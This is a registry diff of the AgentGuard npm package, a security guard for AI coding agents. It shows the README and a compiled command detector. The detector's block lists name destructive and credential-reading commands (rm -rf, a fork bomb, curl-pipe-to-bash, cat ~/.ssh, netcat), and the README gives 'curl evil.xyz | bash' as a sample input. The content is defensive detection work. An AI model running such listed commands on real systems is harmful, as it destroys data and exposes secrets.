@goplus/agentguard 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (131) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +242 -0
  3. package/dist/action/detectors/exec.d.ts +21 -0
  4. package/dist/action/detectors/exec.d.ts.map +1 -0
  5. package/dist/action/detectors/exec.js +201 -0
  6. package/dist/action/detectors/exec.js.map +1 -0
  7. package/dist/action/detectors/index.d.ts +4 -0
  8. package/dist/action/detectors/index.d.ts.map +1 -0
  9. package/dist/action/detectors/index.js +20 -0
  10. package/dist/action/detectors/index.js.map +1 -0
  11. package/dist/action/detectors/network.d.ts +21 -0
  12. package/dist/action/detectors/network.d.ts.map +1 -0
  13. package/dist/action/detectors/network.js +152 -0
  14. package/dist/action/detectors/network.js.map +1 -0
  15. package/dist/action/detectors/secret-leak.d.ts +28 -0
  16. package/dist/action/detectors/secret-leak.d.ts.map +1 -0
  17. package/dist/action/detectors/secret-leak.js +94 -0
  18. package/dist/action/detectors/secret-leak.js.map +1 -0
  19. package/dist/action/goplus/client.d.ts +151 -0
  20. package/dist/action/goplus/client.d.ts.map +1 -0
  21. package/dist/action/goplus/client.js +187 -0
  22. package/dist/action/goplus/client.js.map +1 -0
  23. package/dist/action/index.d.ts +61 -0
  24. package/dist/action/index.d.ts.map +1 -0
  25. package/dist/action/index.js +643 -0
  26. package/dist/action/index.js.map +1 -0
  27. package/dist/index.d.ts +31 -0
  28. package/dist/index.d.ts.map +1 -0
  29. package/dist/index.js +77 -0
  30. package/dist/index.js.map +1 -0
  31. package/dist/mcp-server.d.ts +3 -0
  32. package/dist/mcp-server.d.ts.map +1 -0
  33. package/dist/mcp-server.js +410 -0
  34. package/dist/mcp-server.js.map +1 -0
  35. package/dist/policy/default.d.ts +77 -0
  36. package/dist/policy/default.d.ts.map +1 -0
  37. package/dist/policy/default.js +94 -0
  38. package/dist/policy/default.js.map +1 -0
  39. package/dist/registry/index.d.ts +93 -0
  40. package/dist/registry/index.d.ts.map +1 -0
  41. package/dist/registry/index.js +280 -0
  42. package/dist/registry/index.js.map +1 -0
  43. package/dist/registry/storage.d.ts +69 -0
  44. package/dist/registry/storage.d.ts.map +1 -0
  45. package/dist/registry/storage.js +208 -0
  46. package/dist/registry/storage.js.map +1 -0
  47. package/dist/registry/trust.d.ts +41 -0
  48. package/dist/registry/trust.d.ts.map +1 -0
  49. package/dist/registry/trust.js +139 -0
  50. package/dist/registry/trust.js.map +1 -0
  51. package/dist/scanner/file-walker.d.ts +34 -0
  52. package/dist/scanner/file-walker.d.ts.map +1 -0
  53. package/dist/scanner/file-walker.js +134 -0
  54. package/dist/scanner/file-walker.js.map +1 -0
  55. package/dist/scanner/index.d.ts +67 -0
  56. package/dist/scanner/index.d.ts.map +1 -0
  57. package/dist/scanner/index.js +349 -0
  58. package/dist/scanner/index.js.map +1 -0
  59. package/dist/scanner/rules/exfiltration.d.ts +6 -0
  60. package/dist/scanner/rules/exfiltration.d.ts.map +1 -0
  61. package/dist/scanner/rules/exfiltration.js +48 -0
  62. package/dist/scanner/rules/exfiltration.js.map +1 -0
  63. package/dist/scanner/rules/index.d.ts +18 -0
  64. package/dist/scanner/rules/index.d.ts.map +1 -0
  65. package/dist/scanner/rules/index.js +54 -0
  66. package/dist/scanner/rules/index.js.map +1 -0
  67. package/dist/scanner/rules/obfuscation.d.ts +6 -0
  68. package/dist/scanner/rules/obfuscation.d.ts.map +1 -0
  69. package/dist/scanner/rules/obfuscation.js +37 -0
  70. package/dist/scanner/rules/obfuscation.js.map +1 -0
  71. package/dist/scanner/rules/prompt-injection.d.ts +6 -0
  72. package/dist/scanner/rules/prompt-injection.d.ts.map +1 -0
  73. package/dist/scanner/rules/prompt-injection.js +38 -0
  74. package/dist/scanner/rules/prompt-injection.js.map +1 -0
  75. package/dist/scanner/rules/remote-loader.d.ts +6 -0
  76. package/dist/scanner/rules/remote-loader.d.ts.map +1 -0
  77. package/dist/scanner/rules/remote-loader.js +31 -0
  78. package/dist/scanner/rules/remote-loader.js.map +1 -0
  79. package/dist/scanner/rules/secrets.d.ts +6 -0
  80. package/dist/scanner/rules/secrets.d.ts.map +1 -0
  81. package/dist/scanner/rules/secrets.js +68 -0
  82. package/dist/scanner/rules/secrets.js.map +1 -0
  83. package/dist/scanner/rules/shell-exec.d.ts +6 -0
  84. package/dist/scanner/rules/shell-exec.d.ts.map +1 -0
  85. package/dist/scanner/rules/shell-exec.js +52 -0
  86. package/dist/scanner/rules/shell-exec.js.map +1 -0
  87. package/dist/scanner/rules/web3.d.ts +6 -0
  88. package/dist/scanner/rules/web3.d.ts.map +1 -0
  89. package/dist/scanner/rules/web3.js +139 -0
  90. package/dist/scanner/rules/web3.js.map +1 -0
  91. package/dist/tests/action.test.d.ts +2 -0
  92. package/dist/tests/action.test.d.ts.map +1 -0
  93. package/dist/tests/action.test.js +127 -0
  94. package/dist/tests/action.test.js.map +1 -0
  95. package/dist/tests/registry.test.d.ts +2 -0
  96. package/dist/tests/registry.test.d.ts.map +1 -0
  97. package/dist/tests/registry.test.js +109 -0
  98. package/dist/tests/registry.test.js.map +1 -0
  99. package/dist/tests/scanner.test.d.ts +2 -0
  100. package/dist/tests/scanner.test.d.ts.map +1 -0
  101. package/dist/tests/scanner.test.js +57 -0
  102. package/dist/tests/scanner.test.js.map +1 -0
  103. package/dist/types/action.d.ts +198 -0
  104. package/dist/types/action.d.ts.map +1 -0
  105. package/dist/types/action.js +3 -0
  106. package/dist/types/action.js.map +1 -0
  107. package/dist/types/index.d.ts +5 -0
  108. package/dist/types/index.d.ts.map +1 -0
  109. package/dist/types/index.js +22 -0
  110. package/dist/types/index.js.map +1 -0
  111. package/dist/types/registry.d.ts +104 -0
  112. package/dist/types/registry.d.ts.map +1 -0
  113. package/dist/types/registry.js +21 -0
  114. package/dist/types/registry.js.map +1 -0
  115. package/dist/types/scanner.d.ts +88 -0
  116. package/dist/types/scanner.d.ts.map +1 -0
  117. package/dist/types/scanner.js +20 -0
  118. package/dist/types/scanner.js.map +1 -0
  119. package/dist/types/skill.d.ts +52 -0
  120. package/dist/types/skill.d.ts.map +1 -0
  121. package/dist/types/skill.js +33 -0
  122. package/dist/types/skill.js.map +1 -0
  123. package/dist/utils/hash.d.ts +21 -0
  124. package/dist/utils/hash.d.ts.map +1 -0
  125. package/dist/utils/hash.js +112 -0
  126. package/dist/utils/hash.js.map +1 -0
  127. package/dist/utils/patterns.d.ts +74 -0
  128. package/dist/utils/patterns.d.ts.map +1 -0
  129. package/dist/utils/patterns.js +157 -0
  130. package/dist/utils/patterns.js.map +1 -0
  131. package/package.json +60 -0
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2025 GoPlusSecurity
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,242 @@
1
+ # GoPlus AgentGuard
2
+
3
+ **Security guard for your AI agent.** Automatically blocks dangerous commands, prevents data leaks, and protects your secrets.
4
+
5
+ Your AI agent can execute `rm -rf /`, read your SSH keys, and send passwords to Discord. GoPlus AgentGuard stops all of that.
6
+
7
+ [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
8
+ [![Node.js](https://img.shields.io/badge/node-%3E%3D18-green.svg)](https://nodejs.org)
9
+ [![TypeScript](https://img.shields.io/badge/TypeScript-strict-blue.svg)](https://www.typescriptlang.org)
10
+ [![Agent Skills](https://img.shields.io/badge/Agent_Skills-compatible-purple.svg)](https://agentskills.io)
11
+
12
+ ## What It Does
13
+
14
+ GoPlus AgentGuard protects your AI coding agent with two layers:
15
+
16
+ **Layer 1 — Automatic Guard (hooks)**: Install once, forget about it. GoPlus AgentGuard intercepts dangerous tool calls in real time:
17
+ - Blocks `rm -rf /`, fork bombs, `curl | bash` and other destructive commands
18
+ - Prevents writes to `.env`, `.ssh/`, credentials files
19
+ - Detects data exfiltration to Discord/Telegram/Slack webhooks
20
+ - Flags requests to high-risk domains
21
+
22
+ **Layer 2 — Deep Scan (skill)**: On-demand security audit with 20 detection rules:
23
+ - Static code analysis for secrets, backdoors, and vulnerabilities
24
+ - Web3-specific: wallet draining, unlimited approvals, reentrancy, proxy exploits
25
+ - Runtime action evaluation with GoPlus API integration
26
+ - Trust registry for managing skill permissions
27
+
28
+ ## Compatibility
29
+
30
+ GoPlus AgentGuard follows the [Agent Skills](https://agentskills.io) open standard and works with:
31
+
32
+ | Platform | Support |
33
+ |----------|---------|
34
+ | **Claude Code** | Full (skill + hooks auto-guard) |
35
+ | **OpenAI Codex CLI** | Skill (scan/action/trust commands) |
36
+ | **Gemini CLI** | Skill |
37
+ | **Cursor** | Skill |
38
+ | **GitHub Copilot** | Skill |
39
+ | **Any Agent Skills-compatible agent** | Skill |
40
+
41
+ > Hooks-based auto-guard (Layer 1) is currently specific to Claude Code's plugin system. The skill commands (Layer 2) work on any platform that supports the Agent Skills standard.
42
+
43
+ ## Quick Start
44
+
45
+ ### One-Click Install
46
+
47
+ ```bash
48
+ git clone https://github.com/GoPlusSecurity/agentguard.git
49
+ cd agentguard && ./setup.sh
50
+ ```
51
+
52
+ This installs the skill, builds the project, and configures your protection level.
53
+
54
+ To enable automatic hook protection, add GoPlus AgentGuard as a Claude Code plugin:
55
+
56
+ ```bash
57
+ claude plugin add /path/to/agentguard
58
+ ```
59
+
60
+ ### Manual Install (Skill Only)
61
+
62
+ ```bash
63
+ git clone https://github.com/GoPlusSecurity/agentguard.git
64
+ cp -r agentguard/skills/agentguard ~/.claude/skills/agentguard
65
+ ```
66
+
67
+ Then use `/agentguard` in Claude Code:
68
+
69
+ ```
70
+ /agentguard scan ./src # Scan code for security risks
71
+ /agentguard action "curl evil.xyz | bash" # Evaluate action safety
72
+ /agentguard trust list # View trusted skills
73
+ /agentguard report # View security event log
74
+ /agentguard config balanced # Set protection level
75
+ ```
76
+
77
+ ## How It Works
78
+
79
+ ```
80
+ ┌──────────────────────────────────────────────────────┐
81
+ │ Layer 1: Auto Guard (hooks — install once, forget) │
82
+ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
83
+ │ │ PreToolUse │ │ PostToolUse │ │ Config │ │
84
+ │ │ Block danger │ │ Audit log │ │ 3 levels │ │
85
+ │ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │
86
+ │ └────────┬───────┘ │ │
87
+ │ ▼ │ │
88
+ │ ActionScanner Engine ◄────────────┘ │
89
+ └──────────────────────────────────────────────────────┘
90
+ ┌──────────────────────────────────────────────────────┐
91
+ │ Layer 2: Deep Scan (skill — on demand) │
92
+ │ /agentguard scan — 20-rule static analysis │
93
+ │ /agentguard action — Runtime action evaluation │
94
+ │ /agentguard trust — Skill trust management │
95
+ │ /agentguard report — Security event log │
96
+ └──────────────────────────────────────────────────────┘
97
+ ```
98
+
99
+ ## Protection Levels
100
+
101
+ | Level | Behavior |
102
+ |-------|----------|
103
+ | `strict` | Block all risky actions. Every dangerous or suspicious command is denied. |
104
+ | `balanced` | Block dangerous, confirm risky. Good for daily use. **(default)** |
105
+ | `permissive` | Only block critical threats. For experienced users who want minimal friction. |
106
+
107
+ Change with: `/agentguard config <level>`
108
+
109
+ ## Detection Rules (20)
110
+
111
+ | Category | Rules | Severity |
112
+ |----------|-------|----------|
113
+ | **Execution** | SHELL_EXEC, AUTO_UPDATE, REMOTE_LOADER | HIGH-CRITICAL |
114
+ | **Secrets** | READ_ENV_SECRETS, READ_SSH_KEYS, READ_KEYCHAIN, PRIVATE_KEY_PATTERN, MNEMONIC_PATTERN | MEDIUM-CRITICAL |
115
+ | **Exfiltration** | NET_EXFIL_UNRESTRICTED, WEBHOOK_EXFIL | HIGH-CRITICAL |
116
+ | **Obfuscation** | OBFUSCATION, PROMPT_INJECTION | HIGH-CRITICAL |
117
+ | **Web3** | WALLET_DRAINING, UNLIMITED_APPROVAL, DANGEROUS_SELFDESTRUCT, HIDDEN_TRANSFER, PROXY_UPGRADE, FLASH_LOAN_RISK, REENTRANCY_PATTERN, SIGNATURE_REPLAY | MEDIUM-CRITICAL |
118
+
119
+ ## Try It
120
+
121
+ Scan the included vulnerable demo project:
122
+
123
+ ```
124
+ /agentguard scan examples/vulnerable-skill
125
+ ```
126
+
127
+ Expected output: **CRITICAL** risk level with **20 detection hits** across JavaScript and Solidity files. This demo contains intentionally vulnerable code (curl|bash, hardcoded keys, webhook exfil, reentrancy, etc.) to showcase all 20 detection rules.
128
+
129
+ ## Advanced Usage
130
+
131
+ ### As MCP Server
132
+
133
+ ```json
134
+ {
135
+ "mcpServers": {
136
+ "agentguard": {
137
+ "command": "npx",
138
+ "args": ["-y", "agentguard"],
139
+ "env": {
140
+ "GOPLUS_API_KEY": "your_key",
141
+ "GOPLUS_API_SECRET": "your_secret"
142
+ }
143
+ }
144
+ }
145
+ }
146
+ ```
147
+
148
+ MCP tools: `skill_scanner_scan`, `registry_lookup`, `registry_attest`, `registry_revoke`, `registry_list`, `action_scanner_decide`, `action_scanner_simulate_web3`
149
+
150
+ ### As SDK
151
+
152
+ ```typescript
153
+ import { createAgentGuard } from 'agentguard';
154
+
155
+ const { scanner, registry, actionScanner } = createAgentGuard();
156
+
157
+ // Scan code
158
+ const result = await scanner.scan({
159
+ skill: { id: 'my-skill', source: 'github.com/org/skill', version_ref: 'v1.0.0', artifact_hash: '' },
160
+ payload: { type: 'dir', ref: '/path/to/skill' },
161
+ });
162
+ console.log(result.risk_level); // 'low' | 'medium' | 'high' | 'critical'
163
+
164
+ // Evaluate action
165
+ const decision = await actionScanner.decide({
166
+ actor: { skill: { id: 'my-skill', source: 'cli', version_ref: '1.0.0', artifact_hash: '' } },
167
+ action: { type: 'exec_command', data: { command: 'rm -rf /' } },
168
+ context: { session_id: 's1', user_present: true, env: 'prod', time: new Date().toISOString() },
169
+ });
170
+ console.log(decision.decision); // 'deny'
171
+ ```
172
+
173
+ ### Trust Management
174
+
175
+ ```
176
+ /agentguard trust attest --id my-bot --source github.com/org/bot --version v1.0.0 --hash abc --trust-level restricted --preset trading_bot --reviewed-by admin
177
+ /agentguard trust lookup --source github.com/org/bot
178
+ /agentguard trust revoke --source github.com/org/bot --reason "security concern"
179
+ /agentguard trust list --trust-level trusted
180
+ ```
181
+
182
+ Presets: `none` | `read_only` | `trading_bot` | `defi`
183
+
184
+ ### GoPlus API (Web3)
185
+
186
+ For enhanced Web3 security (phishing detection, address security, transaction simulation):
187
+
188
+ ```bash
189
+ export GOPLUS_API_KEY=your_key
190
+ export GOPLUS_API_SECRET=your_secret
191
+ ```
192
+
193
+ Get keys at: https://gopluslabs.io/security-api
194
+
195
+ ### External Scanner
196
+
197
+ GoPlus AgentGuard integrates with [cisco-ai-defense/skill-scanner](https://github.com/cisco-ai-defense/skill-scanner) for YAML/YARA patterns, Python AST analysis, and VirusTotal integration:
198
+
199
+ ```bash
200
+ pip install cisco-ai-skill-scanner
201
+ ```
202
+
203
+ ## Project Structure
204
+
205
+ ```
206
+ agentguard/
207
+ ├── skills/agentguard/ # Agent Skills definition
208
+ │ ├── SKILL.md # Skill entry point
209
+ │ ├── scan-rules.md # Detection rule reference
210
+ │ ├── action-policies.md # Action policy reference
211
+ │ ├── web3-patterns.md # Web3 patterns reference
212
+ │ └── scripts/ # CLI tools (trust-cli, action-cli, guard-hook)
213
+ ├── hooks/hooks.json # Plugin hooks configuration
214
+ ├── src/ # TypeScript source
215
+ │ ├── scanner/ # 20-rule static analysis engine
216
+ │ ├── action/ # Runtime action evaluator + GoPlus integration
217
+ │ ├── registry/ # Trust level management
218
+ │ ├── policy/ # Default policies and presets
219
+ │ └── tests/ # Test suite
220
+ ├── examples/vulnerable-skill/ # Demo project for testing
221
+ ├── data/registry.json # Trust registry storage
222
+ ├── setup.sh # One-click install script
223
+ └── dist/ # Compiled output
224
+ ```
225
+
226
+ ## Testing
227
+
228
+ ```bash
229
+ npm install && npm run build && npm test
230
+ ```
231
+
232
+ 32 tests across 4 suites: scanner rules, exec command detector, network request detector, and registry CRUD.
233
+
234
+ ## License
235
+
236
+ [MIT](LICENSE)
237
+
238
+ ## Contributing
239
+
240
+ Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.
241
+
242
+ Built by [GoPlus Security](https://gopluslabs.io).
@@ -0,0 +1,21 @@
1
+ import type { ExecCommandData, ActionEvidence } from '../../types/action.js';
2
+ /**
3
+ * Command execution analysis result
4
+ */
5
+ export interface ExecAnalysisResult {
6
+ /** Risk level */
7
+ risk_level: 'low' | 'medium' | 'high' | 'critical';
8
+ /** Risk tags */
9
+ risk_tags: string[];
10
+ /** Evidence */
11
+ evidence: ActionEvidence[];
12
+ /** Should block */
13
+ should_block: boolean;
14
+ /** Block reason */
15
+ block_reason?: string;
16
+ }
17
+ /**
18
+ * Analyze a command for security risks
19
+ */
20
+ export declare function analyzeExecCommand(command: ExecCommandData, execAllowed?: boolean): ExecAnalysisResult;
21
+ //# sourceMappingURL=exec.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"exec.d.ts","sourceRoot":"","sources":["../../../src/action/detectors/exec.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,eAAe,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AAE7E;;GAEG;AACH,MAAM,WAAW,kBAAkB;IACjC,iBAAiB;IACjB,UAAU,EAAE,KAAK,GAAG,QAAQ,GAAG,MAAM,GAAG,UAAU,CAAC;IACnD,gBAAgB;IAChB,SAAS,EAAE,MAAM,EAAE,CAAC;IACpB,eAAe;IACf,QAAQ,EAAE,cAAc,EAAE,CAAC;IAC3B,mBAAmB;IACnB,YAAY,EAAE,OAAO,CAAC;IACtB,mBAAmB;IACnB,YAAY,CAAC,EAAE,MAAM,CAAC;CACvB;AA2ED;;GAEG;AACH,wBAAgB,kBAAkB,CAChC,OAAO,EAAE,eAAe,EACxB,WAAW,GAAE,OAAe,GAC3B,kBAAkB,CAsIpB"}
@@ -0,0 +1,201 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.analyzeExecCommand = analyzeExecCommand;
4
+ /**
5
+ * Dangerous commands that should always be blocked
6
+ */
7
+ const DANGEROUS_COMMANDS = [
8
+ 'rm -rf',
9
+ 'rm -fr',
10
+ 'mkfs',
11
+ 'dd if=',
12
+ ':(){:|:&};:', // Fork bomb
13
+ 'chmod 777',
14
+ 'chmod -R 777',
15
+ '> /dev/sda',
16
+ 'mv /* ',
17
+ 'wget.*\\|.*sh',
18
+ 'curl.*\\|.*sh',
19
+ 'curl.*\\|.*bash',
20
+ 'wget.*\\|.*bash',
21
+ ];
22
+ /**
23
+ * Commands that access sensitive data
24
+ */
25
+ const SENSITIVE_COMMANDS = [
26
+ 'cat /etc/passwd',
27
+ 'cat /etc/shadow',
28
+ 'cat ~/.ssh',
29
+ 'cat ~/.aws',
30
+ 'cat ~/.kube',
31
+ 'cat ~/.npmrc',
32
+ 'cat ~/.netrc',
33
+ 'printenv',
34
+ 'env',
35
+ 'set',
36
+ ];
37
+ /**
38
+ * Commands that modify system state
39
+ */
40
+ const SYSTEM_COMMANDS = [
41
+ 'sudo',
42
+ 'su ',
43
+ 'chown',
44
+ 'chmod',
45
+ 'chgrp',
46
+ 'useradd',
47
+ 'userdel',
48
+ 'groupadd',
49
+ 'passwd',
50
+ 'visudo',
51
+ 'systemctl',
52
+ 'service ',
53
+ 'init ',
54
+ 'shutdown',
55
+ 'reboot',
56
+ 'halt',
57
+ ];
58
+ /**
59
+ * Network-related commands
60
+ */
61
+ const NETWORK_COMMANDS = [
62
+ 'curl ',
63
+ 'wget ',
64
+ 'nc ',
65
+ 'netcat',
66
+ 'ncat',
67
+ 'ssh ',
68
+ 'scp ',
69
+ 'rsync ',
70
+ 'ftp ',
71
+ 'sftp ',
72
+ ];
73
+ /**
74
+ * Analyze a command for security risks
75
+ */
76
+ function analyzeExecCommand(command, execAllowed = false) {
77
+ const fullCommand = command.args
78
+ ? `${command.command} ${command.args.join(' ')}`
79
+ : command.command;
80
+ const lowerCommand = fullCommand.toLowerCase();
81
+ const riskTags = [];
82
+ const evidence = [];
83
+ let riskLevel = 'low';
84
+ let shouldBlock = !execAllowed; // Block by default if exec not allowed
85
+ let blockReason = execAllowed
86
+ ? undefined
87
+ : 'Command execution not allowed';
88
+ // Check for dangerous commands
89
+ for (const dangerous of DANGEROUS_COMMANDS) {
90
+ if (lowerCommand.includes(dangerous.toLowerCase())) {
91
+ riskTags.push('DANGEROUS_COMMAND');
92
+ evidence.push({
93
+ type: 'dangerous_command',
94
+ field: 'command',
95
+ match: dangerous,
96
+ description: `Dangerous command pattern detected: ${dangerous}`,
97
+ });
98
+ riskLevel = 'critical';
99
+ shouldBlock = true;
100
+ blockReason = `Dangerous command: ${dangerous}`;
101
+ break;
102
+ }
103
+ }
104
+ // Check for sensitive data access
105
+ for (const sensitive of SENSITIVE_COMMANDS) {
106
+ if (lowerCommand.includes(sensitive.toLowerCase())) {
107
+ riskTags.push('SENSITIVE_DATA_ACCESS');
108
+ evidence.push({
109
+ type: 'sensitive_access',
110
+ field: 'command',
111
+ match: sensitive,
112
+ description: `Sensitive data access: ${sensitive}`,
113
+ });
114
+ if (riskLevel !== 'critical')
115
+ riskLevel = 'high';
116
+ }
117
+ }
118
+ // Check for system commands
119
+ for (const sys of SYSTEM_COMMANDS) {
120
+ if (lowerCommand.startsWith(sys.toLowerCase()) ||
121
+ lowerCommand.includes(' ' + sys.toLowerCase())) {
122
+ riskTags.push('SYSTEM_COMMAND');
123
+ evidence.push({
124
+ type: 'system_command',
125
+ field: 'command',
126
+ match: sys.trim(),
127
+ description: `System modification command: ${sys.trim()}`,
128
+ });
129
+ if (riskLevel === 'low')
130
+ riskLevel = 'medium';
131
+ }
132
+ }
133
+ // Check for network commands
134
+ for (const net of NETWORK_COMMANDS) {
135
+ if (lowerCommand.startsWith(net.toLowerCase()) ||
136
+ lowerCommand.includes(' ' + net.toLowerCase())) {
137
+ riskTags.push('NETWORK_COMMAND');
138
+ evidence.push({
139
+ type: 'network_command',
140
+ field: 'command',
141
+ match: net.trim(),
142
+ description: `Network command: ${net.trim()}`,
143
+ });
144
+ if (riskLevel === 'low')
145
+ riskLevel = 'medium';
146
+ }
147
+ }
148
+ // Check for shell injection patterns
149
+ const shellInjectionPatterns = [
150
+ /;\s*\w+/, // ; command
151
+ /\|\s*\w+/, // | command
152
+ /`[^`]+`/, // `command`
153
+ /\$\([^)]+\)/, // $(command)
154
+ /&&\s*\w+/, // && command
155
+ /\|\|\s*\w+/, // || command
156
+ ];
157
+ for (const pattern of shellInjectionPatterns) {
158
+ if (pattern.test(fullCommand)) {
159
+ riskTags.push('SHELL_INJECTION_RISK');
160
+ evidence.push({
161
+ type: 'shell_injection',
162
+ field: 'command',
163
+ description: 'Command contains shell metacharacters',
164
+ });
165
+ if (riskLevel === 'low')
166
+ riskLevel = 'medium';
167
+ break;
168
+ }
169
+ }
170
+ // Check environment variables for secrets
171
+ if (command.env) {
172
+ const sensitiveEnvKeys = [
173
+ 'API_KEY',
174
+ 'SECRET',
175
+ 'PASSWORD',
176
+ 'TOKEN',
177
+ 'PRIVATE',
178
+ 'CREDENTIAL',
179
+ ];
180
+ for (const [key, value] of Object.entries(command.env)) {
181
+ const upperKey = key.toUpperCase();
182
+ if (sensitiveEnvKeys.some((s) => upperKey.includes(s))) {
183
+ riskTags.push('SENSITIVE_ENV_VAR');
184
+ evidence.push({
185
+ type: 'sensitive_env',
186
+ field: 'env',
187
+ match: key,
188
+ description: `Sensitive environment variable: ${key}`,
189
+ });
190
+ }
191
+ }
192
+ }
193
+ return {
194
+ risk_level: riskLevel,
195
+ risk_tags: riskTags,
196
+ evidence,
197
+ should_block: shouldBlock,
198
+ block_reason: blockReason,
199
+ };
200
+ }
201
+ //# sourceMappingURL=exec.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"exec.js","sourceRoot":"","sources":["../../../src/action/detectors/exec.ts"],"names":[],"mappings":";;AA8FA,gDAyIC;AArND;;GAEG;AACH,MAAM,kBAAkB,GAAG;IACzB,QAAQ;IACR,QAAQ;IACR,MAAM;IACN,QAAQ;IACR,aAAa,EAAG,YAAY;IAC5B,WAAW;IACX,cAAc;IACd,YAAY;IACZ,QAAQ;IACR,eAAe;IACf,eAAe;IACf,iBAAiB;IACjB,iBAAiB;CAClB,CAAC;AAEF;;GAEG;AACH,MAAM,kBAAkB,GAAG;IACzB,iBAAiB;IACjB,iBAAiB;IACjB,YAAY;IACZ,YAAY;IACZ,aAAa;IACb,cAAc;IACd,cAAc;IACd,UAAU;IACV,KAAK;IACL,KAAK;CACN,CAAC;AAEF;;GAEG;AACH,MAAM,eAAe,GAAG;IACtB,MAAM;IACN,KAAK;IACL,OAAO;IACP,OAAO;IACP,OAAO;IACP,SAAS;IACT,SAAS;IACT,UAAU;IACV,QAAQ;IACR,QAAQ;IACR,WAAW;IACX,UAAU;IACV,OAAO;IACP,UAAU;IACV,QAAQ;IACR,MAAM;CACP,CAAC;AAEF;;GAEG;AACH,MAAM,gBAAgB,GAAG;IACvB,OAAO;IACP,OAAO;IACP,KAAK;IACL,QAAQ;IACR,MAAM;IACN,MAAM;IACN,MAAM;I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C,CAAC,CAAC,CAAC,EAAE,CAAC;gBACvD,QAAQ,CAAC,IAAI,CAAC,mBAAmB,CAAC,CAAC;gBACnC,QAAQ,CAAC,IAAI,CAAC;oBACZ,IAAI,EAAE,eAAe;oBACrB,KAAK,EAAE,KAAK;oBACZ,KAAK,EAAE,GAAG;oBACV,WAAW,EAAE,mCAAmC,GAAG,EAAE;iBACtD,CAAC,CAAC;YACL,CAAC;QACH,CAAC;IACH,CAAC;IAED,OAAO;QACL,UAAU,EAAE,SAAS;QACrB,SAAS,EAAE,QAAQ;QACnB,QAAQ;QACR,YAAY,EAAE,WAAW;QACzB,YAAY,EAAE,WAAW;KAC1B,CAAC;AACJ,CAAC"}
@@ -0,0 +1,4 @@
1
+ export * from './secret-leak.js';
2
+ export * from './network.js';
3
+ export * from './exec.js';
4
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/action/detectors/index.ts"],"names":[],"mappings":"AAAA,cAAc,kBAAkB,CAAC;AACjC,cAAc,cAAc,CAAC;AAC7B,cAAc,WAAW,CAAC"}
@@ -0,0 +1,20 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __exportStar = (this && this.__exportStar) || function(m, exports) {
14
+ for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
15
+ };
16
+ Object.defineProperty(exports, "__esModule", { value: true });
17
+ __exportStar(require("./secret-leak.js"), exports);
18
+ __exportStar(require("./network.js"), exports);
19
+ __exportStar(require("./exec.js"), exports);
20
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/action/detectors/index.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;AAAA,mDAAiC;AACjC,+CAA6B;AAC7B,4CAA0B"}
@@ -0,0 +1,21 @@
1
+ import type { NetworkRequestData, ActionEvidence } from '../../types/action.js';
2
+ /**
3
+ * Network request analysis result
4
+ */
5
+ export interface NetworkAnalysisResult {
6
+ /** Risk level */
7
+ risk_level: 'low' | 'medium' | 'high' | 'critical';
8
+ /** Risk tags */
9
+ risk_tags: string[];
10
+ /** Evidence */
11
+ evidence: ActionEvidence[];
12
+ /** Should block */
13
+ should_block: boolean;
14
+ /** Block reason */
15
+ block_reason?: string;
16
+ }
17
+ /**
18
+ * Analyze a network request for security risks
19
+ */
20
+ export declare function analyzeNetworkRequest(request: NetworkRequestData, allowlist?: string[]): NetworkAnalysisResult;
21
+ //# sourceMappingURL=network.d.ts.map
@@ -0,0 +1 @@
1
